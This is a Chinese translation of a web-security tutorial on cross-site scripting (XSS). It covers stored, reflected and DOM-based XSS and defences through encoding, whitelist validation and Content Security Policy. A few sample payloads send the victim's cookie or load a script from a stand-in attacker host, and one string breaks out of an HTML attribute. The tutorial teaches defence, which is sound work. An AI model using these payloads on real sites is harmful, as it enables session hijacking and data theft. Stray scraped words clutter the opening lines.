原文地址:http://excess-xss.com/。若有翻譯不當之處,歡迎指出 :Djavascript
分爲四部分:php
概述html
XSS 攻擊java
XSS 防護node
總結git
跨站腳本攻擊(XSS)是一種代碼注入攻擊,攻擊者利用它能夠在其它用戶瀏覽器中執行惡意 JavaScript。github
攻擊者並非直接面對受害者。而是,爲了讓網站替本身傳輸惡意 JavaScript,攻擊者須要利用受害者訪問的網站上的漏洞。對受害者的瀏覽器而言,惡意的 JavaScript 彷佛是網站合法的一部分,網站在無心中成爲了攻擊者的共犯。web
攻擊者在受害者瀏覽器中執行惡意 JavaScript 的惟一方式就是將其注入到受害者瀏覽的網頁中。若是網站直接將用戶輸入顯示到頁面中,就可能致使惡意代碼注入,由於攻擊者能夠插入惡意字符串,讓受害者瀏覽器誤覺得是代碼。數據庫
在下面的例子中,一段簡單的服務端腳本用來在網頁中展現最新的評論:express
print "<html>" print "Latest comment:" print database.latestComment print "</html>"
上面的腳本認爲評論只會包含文本。然而,因爲是直接展現用戶輸入,攻擊者能夠提交相似這樣的評論 <script>...</script>
。如今,訪問該頁面的全部用戶就會接收到以下響應:
<html> Latest comment: <script>...</script> </html>
當用戶瀏覽器加載了該頁面,就會執行 <script>
標籤中全部 JavaScript 代碼。攻擊者就實現了他的攻擊。
乍一看,在受害者瀏覽器中執行 JavaScript 彷佛並無什麼特別的危害。畢竟,JavaScript 運行在一個受到嚴格限制的環境中,對用戶文件和操做系統只能進行很是有限的訪問。事實上,你如今就能夠打開瀏覽器的控制檯,執行任意的 JavaScript,而不太可能對計算機形成任何破壞。
可是,當你考慮到下面幾點時,就會更清楚惡意 JavaScript 可能形成的危害:
JavaScript 能夠訪問用戶的敏感信息,例如 cookies。
JavaScript 能夠經過 XMLHTTPRequest 或是其它方式發送 HTTP 請求,將任意內容發送到任意目標。
JavaScript 能夠經過 DOM 操做方法,對當前頁面進行任意篡改。
上面的因素結合起來就能夠形成嚴重的安全隱患,以下所述。
在其它用戶瀏覽器中執行任意 JavaScript 的能力,使得攻擊者能夠進行下面幾種攻擊:
盜取 Cookie:攻擊者使用 document.cookie
能夠獲取受害者與網站關聯的 cookie,將其發送到本身的服務器,並利用 cookie 提取敏感信息,例如 session IDs。
鍵盤記錄:攻擊者使用 addEventListener
能夠註冊鍵盤事件監聽,而後將用戶全部的鍵盤記錄發送到本身的服務器,這裏面可能會包含敏感信息,例如:密碼或信用卡號。
釣魚:攻擊者使用 DOM 操做能夠插入一個僞造的登陸表單,將表單的 action
屬性設置爲本身的服務器地址,而後欺騙用戶提交敏感信息。
儘管這幾種攻擊方式大不相同,但有個關鍵點是相同的:因爲攻擊者是在網站提供的頁面中注入的代碼,因此惡意 JavaScript 會在網站的上下文中執行。這意味着,惡意 JavaScript 與來自網站的其它腳本待遇相同:它能夠訪問該網站上受害者的數據(例如:cookie)和 URL 地址欄中的主機名。不論出於何種目的,被注入的腳本會被當作網站合法的一部分,網站能夠作的事,它一樣能夠作。
這樣的事實凸顯了一個關鍵點:
若是攻擊者能夠利用你的網站在其它用戶瀏覽器中執行任意 JavaScript,那麼你的網站及其用戶的安全都受到了威脅。
爲了強調這一點,本教程中的一些例子會略去惡意 JavaScript 的詳細內容,只是表示爲 <script>...</script>
,這代表,無論實際中執行的是什麼代碼,只要攻擊者注入的腳本出現,問題就存在。
在詳細介紹 XSS 攻擊如何進行以前,須要定義 XSS 中涉及到的角色。一般,一次 XSS 會涉及三個角色:網站、受害者和攻擊者。
網站響應 HTML 頁面給發起請求的用戶。在咱們的例子中,網站是 http://website/。
網站的數據庫用來存儲一些用戶的輸入,並輸出到網站頁面中。
受害者是網站的普通用戶,經過瀏覽器請求頁面。
攻擊者是網站的惡意用戶,準備利用網站的 XSS 漏洞發起攻擊
攻擊者的服務器是由攻擊者控制,惟一的用途是盜取用戶敏感信息。在咱們的例子中,位於 http://attacker/
在這個例子當中,咱們假設攻擊者的目標是經過利用網站 XSS 漏洞盜取受害者的 cookie。這能夠經過在受害者瀏覽器中執行以下代碼實現:
<script> window.location='http://attacker/?cookie='+document.cookie </script>
上面的腳本將瀏覽器導航到新的頁面,並觸發一次 HTTP 請求到攻擊者的服務器。URL 將受害者的 cookie 做爲查詢參數,當請求到達攻擊者服務器時,攻擊者就能夠提取 cookie。一旦攻擊者拿到了 cookie,他就能夠冒充受害者,進而發起更深刻的攻擊。
從如今起,咱們將上面的 HTML 代碼稱爲惡意字符串或是惡意腳本。須要注意的是,上面的字符串只有被受害者瀏覽器做爲 HTML 解析以後,纔會產生危害。
下圖展現了攻擊者如何進行攻擊:
攻擊者利用網站的表單插入惡意字符串到網站數據庫中。
受害者從網站中請求頁面。
網站在響應中包含了來自數據庫的惡意字符串,並返回給受害者。
受害者的瀏覽器執行了響應中的惡意字符串,將受害者的 cookie 發送到了攻擊者的服務器。
儘管 XSS 攻擊的目標都是在受害者瀏覽器中執行惡意 JavaScript,仍是有幾種徹底不一樣的方式來實現該目標的。XSS 攻擊一般能夠分爲三類:
存儲型 XSS(Persistent XSS),惡意字符串來自網站數據庫
反射型 XSS(Reflected XSS),惡意字符串來自受害者的請求
DOM 型 XSS(DOM-based XSS),漏洞位於客戶端代碼而不是服務端代碼
前面的例子展現了存儲型 XSS 攻擊。接下來介紹另外兩種:反射型 XSS 和 DOM 型 XSS。
在反射型 XSS 中,惡意字符串是受害者向網站發起的請求的一部分。而後,網站將包含惡意字符串的響應返回給了受害者。以下圖所示:
攻擊者精心構造了一個包含惡意字符串的 URL,將其發送給受害者
攻擊者欺騙受害者,使其訪問了該 URL
網站在響應中包含了來自 URL 的惡意字符串
受害者瀏覽器執行了響應中的惡意字符串,將本身的 cookie 發送到了攻擊者的服務器
首先,反射型 XSS 看起來是無害的,由於它須要受害者親自發起一個包含惡意字符串的請求。而沒有人會自願攻擊本身,乍看起來是沒辦法發動攻擊的。
偏偏相反,至少有兩種常見的方式,會致使受害者發起針對本身的反射型 XSS 攻擊。
若是目標用戶是特定的某我的,攻擊者能夠發送惡意 URL 給受害者(例如:使用郵件或是即時消息),並欺騙受害者訪問該 URL。
若是目標用戶是一大羣人,攻擊者能夠發佈指向惡意 URL 的連接(例如:在本身的網站或是社交網絡上),並等待受害者點擊。
這兩種方式相似,而且均可以經過利用短網址服務來提升成功率,短網址會使得惡意字符串難以分辨。
DOM XSS 是存儲型 XSS 和 反射型 XSS 的變種。在 DOM XSS 攻擊中,一直到頁面運行了 JavaScript,惡意字符串才被實際的解析。
下圖展現了 DOM XSS 攻擊。
攻擊者精心構造了一個包含惡意字符串的 URL,將其發送給受害者。
攻擊者欺騙受害者,使其訪問了該 URL
網站接收到響應,可是響應中並不包含惡意字符串
受害者瀏覽器執行響應中合法的 JavaScript,致使惡意代碼插入到了頁面中
受害者瀏覽器執行了插入到頁面中的惡意代碼,將 cookie 發送到了攻擊者的服務器
在前面存儲型和反射型 XSS 示例中,服務端把惡意腳本插入到頁面中,而後將其做爲響應發送給受害者。當受害者瀏覽器接收到響應時,會把惡意腳本看成是頁面的合法內容,在頁面加載過程當中與其它腳本一同執行。
在 DOM XSS 示例中,惡意腳本並無插入到頁面中,在頁面加載過程當中,只有合法的 JavaScript 被執行。問題在於,合法的 JavaScript 直接將用戶輸入插入到頁面中。由於惡意字符串經過 innerHTML 插入到頁面中,就會做爲 HTML 解析,致使惡意腳本執行。
二者的區別很小可是很重要:
在傳統的 XSS 中,惡意 JavaScript 做爲服務端發送頁面的一部分,在頁面加載時被執行
在 DOM XSS 中,惡意 JavaScript 在頁面加載完成後某個時間點執行,是由頁面合法 JavaScript 沒有安全處理用戶輸入形成的。
在上面的 DOM XSS 例子中,JavaScript 並非必須的;服務端就能夠生成完整的 HTML。若是服務端代碼不存在漏洞,那麼網站就不存在 XSS。
可是,隨着 WEB 應用愈來愈高級,愈來愈多的 HTML 是在客戶端經過 JavaScript 生成而不是在服務端生成。任什麼時候候不刷新整個頁面,須要更新內容,就必須經過 JavaScript 進行。值得注意的是,AJAX 請求後更新頁面就是這樣的例子。
也就是說,XSS 漏洞不只能夠出如今網站服務端代碼,還可能出如今客戶端 JavaScript 代碼中。結果就是,即便服務端代碼徹底沒問題,在頁面加載完成後,客戶端代碼仍是可能在 DOM 更新中不安全的包含了用戶輸入。一旦發生,客戶端代碼就存與服務端無關的 XSS 漏洞。
有一種特殊的 DOM XSS,惡意字符串不會被髮送到網站服務端:當惡意字符串位於 URL 的片斷標識符中(# 號以後)。瀏覽器不會發送 URL 的片斷標識符到服務端,這樣,服務端代碼就沒方法獲取它。雖然客戶端代碼能夠獲取它,可是若是沒有進行安全處理就會出現 XSS 漏洞。
並非只有片斷標識符會出現這種狀況。對服務端不可見的用戶輸入還包括 HTML5 的新特性,例如:LocalStorage 和 IndexedDB。
記住,XSS 攻擊是一種代碼注入:用戶輸入被錯誤的解釋爲惡意程序代碼。爲了防止這種類型的代碼注入,須要對輸入進行安全處理。對 web 開發者而言,能夠採用兩種不一樣的方式:
編碼,轉義用戶輸入,這樣瀏覽器就只會將其解釋爲數據而不是代碼。
校驗,過濾用戶輸入,這樣瀏覽器就能夠將其解釋爲沒有惡意命令的代碼。
儘管這兩種方式有着本質的區別,可是它們仍是存在共同點,在使用過程當中,理解這些共同點很重要:
上下文:根據用戶輸入在頁面中插入位置的不一樣,須要進行不一樣的安全處理
流入/流出(inbound/outbound):安全處理要麼在網站接收輸入時(inbound)進行,要麼在網站將輸入到插入頁面以前(outbound)進行
客戶端/服務端:安全處理能夠在客戶端進行,也能夠在服務端進行。在某些狀況下,須要在客戶端和服務端同時進行安全處理。
在詳細介紹如何進行編碼和校驗以前,咱們先來逐個解釋以上三點。
在網頁中,用戶輸入可能插入的地方有不少。每一個地方的上下文不一樣,要遵循指定規則才能保證用戶輸入不會打破上下文,被解釋爲惡意代碼。下面是常見的上下文:
上下文 | 示例代碼 |
---|---|
HTML element content | <div>userInput</div> |
HTML attribute value | <input value="userInput"> |
URL query value | http://example.com/?parameter=userInput |
CSS value | color: userInput |
JavaScript value | var name = "userInput"; |
若是用戶的輸入在編碼和校驗以前就插入到頁面中,在上面提到的上下文中均可能產生 XSS 漏洞。攻擊者要想注入惡意代碼,他只需插入對應上下文的結束分隔符,緊接着是惡意代碼。
例如,若是某個站點將用戶輸入直接插入到 HTML 屬性中,攻擊者經過以引號做爲開頭的輸入就能夠注入惡意腳本,以下所示:
Application code | <input value="userInput"> |
---|---|
Malicious string | "><script>...</script><input value=" |
Resulting code | <input value=""><script>...</script><input value=""> |
只需移除用戶輸入中的全部引號就能夠避免上面的 XSS,但這隻對該上下文有效。若是相同的輸入插入到其它的上下文,結束分隔符可能就不一樣,又可能致使注入。因此說,須要根據用戶輸入插入點的上下文,進行不一樣的安全處理。
僅憑直覺,彷佛只需在網站接收到用戶輸入時,對其進行編碼或是校驗就能夠防止 XSS。用這種方式,任何惡意代碼插入到頁面中的時候都已經失效了,生成 HTML 的腳本就無需關心安全處理。
問題在於,前面也提到過,用戶輸入能夠插入到頁面中不少地方。肯定用戶輸入最終會插入到哪種上下文並不簡單,並且相同的用戶輸入常常須要插入到不一樣的上下文。依賴 inbound 輸入處理來防護 XSS 是一種很是脆弱的方案,很容易出錯。(PHP 廢棄的特性 magic quotes 就是這樣的方案)
反卻是,outbound 輸入處理應該做爲防護 XSS 的首要陣線,由於它能夠考慮到用戶輸入即將插入的特定上下文。換句話說,inbound 校驗能夠用來做爲第二層保護,後面會再提到。
當前,在大多數 web 應用中,客戶端代碼和服務端代碼都會涉及處處理用戶輸入。爲了防護全部類型的 XSS,安全處理也要同時在服務端和客戶端進行。
爲了防護傳統的 XSS,安全處理必須在服務端代碼進行。經過服務器支持的語言實現。
爲了防護服務器接收不到惡意字符串的 DOM XSS,(例如,前面的提到的片斷標識符攻擊)安全處理必須在客戶端進行。經過 JavaScript 實現。
如今咱們已經解釋過爲何上下文很重要,爲何區分 inbound 和 outbound 輸入處理很重要,爲何安全處理須要同時在客戶端代碼和服務端代碼同時進行。接下來,將要闡述兩種安全處理(編碼和校驗)是如何進行的。
編碼用來轉義用戶輸入,這樣瀏覽器就會將其解釋爲數據而不是代碼。在 web 開發中最多見的就是 HTML 轉義,它會把字符 <
和 >
分別轉換爲 <
和 >
。
下面的僞代碼展現了服務端代碼如何對用戶輸入進行 HTML 轉義,而後將其插入到頁面中:
print "<html>" print "Latest comment: " print encodeHtml(userInput) print "</html>"
若是用戶輸入爲字符串 <script>...</script>
,輸出 HTML 結果以下:
<html> Latest comment: <script>...</script> </html>
因爲全部有特殊含義的字符都被轉義了,因此瀏覽器不會把用戶輸入看成 HTML 解析。
當在客戶端進行編碼時,使用的是 JavaScript,它包含針對不一樣上下文對數據進行編碼的函數。
當在服務端進行編碼時,可用的函數和服務端的語言和框架有關。考慮到服務端語言和框架多種多樣,該教程不會涉及特定語言或框架的編碼。無論怎樣,熟悉客戶端編碼函數對編寫服務端代碼也是頗有幫助的。
當在客戶端使用 JavaScript 編碼用戶輸入時,有一些內置的方法和屬性會自動根據上下文進行編碼:
上下文 | 方法、屬性 |
---|---|
HTML element content | node.textContent = userInput |
HTML attribute value | element.setAttribute(attribute, userInput) or element[attribute] = userInput |
URL query value | window.encodeURIComponent(userInput) |
CSS value | element.style.property = userInput |
前面提到的最後一種上下文(JavaScript values)並不包含在內,because JavaScript provides no built-in way of encoding data to be included in JavaScript source code.
即便進行了編碼,在一些上下文中仍是可能輸入惡意字符串。一個值得注意的示例以下,當用戶輸入用來提供 URL:
document.querySelector('a').href = userInput
儘管給一個超連接元素的 href 屬性賦值,會自動編碼保證其成爲屬性值而不是其它,但這並不能阻止攻擊者插入以 "javascript:" 開頭的 URL。當點擊連接時,URL 中嵌入的 JavaScript 就被執行。
當你但願用戶能夠自定義頁面部分代碼時,編碼這種處理方式就不太合適了。例如:在我的資料頁,用戶能夠自定義 HTML。若是對這些 HTML 進行編碼,那麼我的資料頁只能包含純文本了。
在這種狀況下,編碼必須配合校驗進行,下面介紹校驗。
校驗是指過濾用戶輸入,以便移除全部惡意的部分,而無需移除其中全部代碼。在 WEB 開發中最多見的一種校驗就是容許一些 HTML 元素(例如: <em>
和 <strong>
)可是不容許其它一些(例如:<script>
)。
根據實現方式的不一樣,主要有兩種典型的校驗方法:
分類策略(Classification strategy):使用黑名單或白名單對用戶輸入進行分類。
validation outcome:被確認爲有惡意的用戶輸入,能夠選擇拒絕或是淨化。
直覺上,經過定義一個不容許出如今用戶輸入中的禁止模式(forbidden pattern),來進行校驗是合理的。若是字符串匹配了該模式,就被標記爲非法。例如:容許用戶提交自定義的任意協議的 URL,除了 javascript: 僞協議。這種分類策略稱爲黑名單。
可是,黑名單有兩大缺點:
複雜:準確的描述全部可能的惡意字符串的集合一般是一項很是複雜的任務。上面例子中,經過簡單地搜索子字符串 "javascript:" 來實現是不行的,由於這會漏掉字符串的其它變種,例如: "Javascript:"
(首字母大寫)和 "javascript:"
(首字母編碼成了字符引用)
容易失效:即便開發出了完美的黑名單,一旦瀏覽器增長了容許惡意用戶使用的新特性,黑名單就失效了。例如,在 HTML5 onmousewheel 屬性出現以前開發的 HTML 驗證黑名單,就不能防護使用該屬性進行的 XSS 攻擊。這個缺點在 WEB 開發中尤爲明顯,由於使用到的多種技術都在不斷地更新中。
因爲這些缺點,強烈反對使用黑名單做爲分類策略。一般,白名單是一種更加安全的方式。
白名單基本上和黑名單是相反的:不是定義禁止模式,而是定義容許模式(allowed pattern),若是字符串不匹配該模式,則標記爲非法。
對照前面黑名單的例子,容許用戶提交自定義 URL 的白名單隻包含 http: 和 https: 協議,不包含其它。使用這種方式會自動將包含 javascript:
協議的 URL 標記爲非法,即便它以 "Javascript:"
或 "javascript:"
形式出現。
和黑名單相比,白名單的兩大優勢是:
簡單:一般,準確的描述一個安全的字符串的集合要比定義一個包含全部惡意字符串的集合要簡單不少。尤爲是,在通常狀況下,用戶輸入只需是瀏覽器功能的有限子集時更是如此。例如,用於描述上面只容許 http: 或 https: 協議的 URL 的白名單是很簡單的,而且在大多數狀況下徹底夠用。
持久性:不像黑名單,當有瀏覽器增長新特性時,白名單通常不會失效。例如:一個 HTML 校驗白名單隻容許 HTML 元素上出現 title 屬性,即便 HTML5 新增了 onmousewheel 屬性,白名單依然有效。
當輸入被標記爲非法,能夠採起兩種行爲:
拒絕:簡單粗暴的拒絕該輸入,阻止其在網站的任何地方使用
淨化:移除全部非法部分,剩餘部分正經常使用在網站中
兩種方式中,拒絕最容易實現。話雖如此,淨化一般更有用,由於它容許用戶的輸入範圍更廣。例如,若是一個用戶提交信用卡號,淨化過程當中經過移除全部非數字字符來防止代碼注入,同時能夠容許用戶在數字間使用連字符。
若是你決定使用淨化,必須保證淨化過程自己沒有使用黑名單的方式。例如:即便 URL"Javascript:..."
被白名單標記爲非法,只需移除全部的 "Javascript:"
仍是可使其經過淨化流程。所以,測試完備的庫和框架仍是應該儘量的使用淨化。
編碼應該做爲防護 XSS 的第一陣線,由於編碼的目的就是 neutralize data,保證其不會被解釋爲代碼。上面提到過,在某些狀況下,須要用校驗來輔助編碼。應該在 outbound 處使用編碼和校驗,由於只有當輸入展現到頁面中時,你才知道要編碼或校驗的上下文。
做爲第二陣線,你應該使用 inbound 校驗來淨化或是拒絕那些明顯非法的數據,例如:使用 javascript: 協議的連接。雖然僅憑這並不能保證絕對安全,可是若是第一陣線因爲失誤或是錯誤致使沒有正確進行,第二陣線就成了有用的預防措施。
若是能一向的落實這兩道防線,你的網站應該不會遭受 XSS 攻擊。可是,考慮到開發和維護整個網站的複雜性,要想僅經過對輸入進行安全處理就達到絕對安全是很困難的。做爲第三道防線,你應該使用立刻就要講到的內容安全策略(Content Security Policy)。
僅憑對輸入進行安全處理來防護 XSS 的不足之處在於一個安全上的小失誤就能夠威脅到整個網站。被稱爲內容安全策略(CSP)的 WEB 標準能夠下降這一風險。
CSP 用來限制瀏覽器 viewing your page 保證其只能使用從可信任的源下載的資源。資源能夠是腳本、樣式表、圖片或是頁面引用的其它類型文件。也就是說,即便攻擊者成功在網站中注入了惡意代碼,CSP 能夠防止其被執行。
CSP 能夠用來強制實施下面的規則:
No untrusted sources:外部資源只能從一個明肯定義的可信源集合中加載
No inline resources:不執行行內(inline) JavaScript 和 CSS
No eval:不可使用 JavaScript 函數 eval
在下面的例子中,攻擊者成功在某個頁面中注入了惡意代碼:
<html> Latest comment: <script src="http://attacker/malicious‑script.js"></script> </html>
若是定義了合理的 CSP 策略,瀏覽器就不會加載和執行 malicious-script.js,由於 http://attacker/ 不會出如今可信源集合中。在這種狀況下,即便網站沒能正確對輸入進行安全處理,CSP 策略能夠防止漏洞形成任何損害。
即便攻擊者注入的不是外部文件,而是行內腳本代碼,合理的 CSP 策略仍能夠禁止行內 JavaScript,從而防止漏洞形成任何傷害。
默認狀況下,瀏覽器不強制使用 CSP。爲了給網站開啓 CSP,響應中要帶上額外的 HTTP 頭:Content-Security-Policy。若是瀏覽器支持 CSP,那麼全部帶有這一 HTTP 頭的頁面都會遵照 CSP。
因爲安全策略是經過每個 HTTP 響應來發送,能夠在服務端對每一頁都設置安全策略。相同的策略能夠經過在每一個響應中提供相同的 CSP 頭來應用到整站上。
Content-Security-Policy 響應頭的值是一個字符串,定義了一個或多個安全策略,會應用到頁面中。後面會講到它的語法。
注意:本節示例中,爲了表示清楚 HTTP 頭部,使用了換行和縮進,在實際的 HTTP 頭部中,這是不該該出現的。
CSP 頭部語法以下:
Content‑Security‑Policy: directive source‑expression, source‑expression, ...; directive ...; ...
由兩個元素構成:
指令:聲明資源類型的字符串,從預約義列表中取值。
來源表達式(Source expressions):描述能夠用於下載資源的一個或多個服務器的模式
對每一個指令來講,給定的來源表達式定義了該資源類型可使用哪些來源下載資源。
在 CSP 頭部中可使用的指令列表以下:
connect‑src
font‑src
frame‑src
img‑src
media‑src
object‑src
script‑src
style‑src
除了上面這些,還有一個特別的指令:default-src,它能夠用來給全部指令提供一個默認值,那些沒有出如今 HTTP 頭部中的指令使用默認值。
來源表達式語法以下:
protocol://host‑name:port‑number
主機名能夠以 打頭,表示所提供的主機名的任何子域都被容許。相似的,端口號也能夠是 ,表示全部端口都被容許。此外,協議和端口號能夠省略。也能夠只指定協議,從而實現要求全部資源都經過 HTTPS 加載。
除此以外,來源表達式還能夠是下面四個有特殊含義的關鍵詞之一(包含引號):
'none':不容許該類型資源
'self':容許從提供當前頁面的主機下載資源
'unsafe-inline':容許在頁面中嵌入資源,例如:行內 <script>
元素,<style>
元素和 javascript: URL。
'unsafe-eval':容許使用 JavaScript eval 函數
須要注意的是,一旦啓用 CSP,默認狀況下,行內資源和 eval 是自動被禁止的。使用它們的惟一方式就是使用 'unsafe-inline' 和 'unsafe-eval'。
Content‑Security‑Policy: script‑src 'self' scripts.example.com; media‑src 'none'; img‑src *; default‑src 'self' http://*.example.com
在上面的例子當中,頁面遵循以下限制:
只能從當前頁面所在主機和 scripts.example.com 加載腳本
不容許加載音頻和視頻文件
能夠從任何主機加載圖片文件
其它類型的資源能夠從當前頁面所在主機和 example.com 的任何子域加載
截止到 2013 年 6 月,CSP 處於 W3C candidate recommendation。已經有瀏覽器實現了,可是部分功能只特定於某個瀏覽器。特別是,瀏覽器之間使用的 HTTP 頭部是不一樣的。在使用 CSP 以前,請先查閱對應瀏覽器的文檔。
XSS 是一種代碼注入攻擊,由於沒有安全的處理用戶輸入而致使。
一次成功的 XSS 攻擊可使攻擊者在受害者瀏覽器中執行惡意 JavaScript 代碼。
一次成功的 XSS 攻擊損害了網站及其用戶的安全。
主要存在三種 XSS 攻擊:
存儲型 XSS,惡意輸入來自網站的數據庫
反射型 XSS,惡意輸入來自受害者發起的請求
DOM XSS,漏洞存在於客戶端代碼,而不是服務端代碼
上面三種 XSS 攻擊雖然實現方式不一樣,可是若是成功,效果相同。
防護 XSS 最重要的方法就是對用戶輸入進行安全處理:
大多數時候,對頁面中展現的用戶輸入都要進行編碼
在一些場景下,須要用校驗代替或是輔助編碼
進行安全處理時,須要考慮到用戶輸入插入點的上下文
爲了防護全部類型的 XSS 攻擊,對輸入進行的安全處理既要在客戶端進行,也要在服務端進行
當安全處理失敗時,內容安全策略(CSP)提供了額外的防護層
須要指出的是,用於 XSS 分類的術語存在一些重疊:DOM XSS 攻擊同時也是存儲型或是反射型;它並非一個獨立的攻擊類型。目前沒有普遍接受的不存在重疊的分類術語。不考慮術語,區分各類攻擊最重要的就是肯定惡意輸入來自哪裏以及漏洞存在哪裏。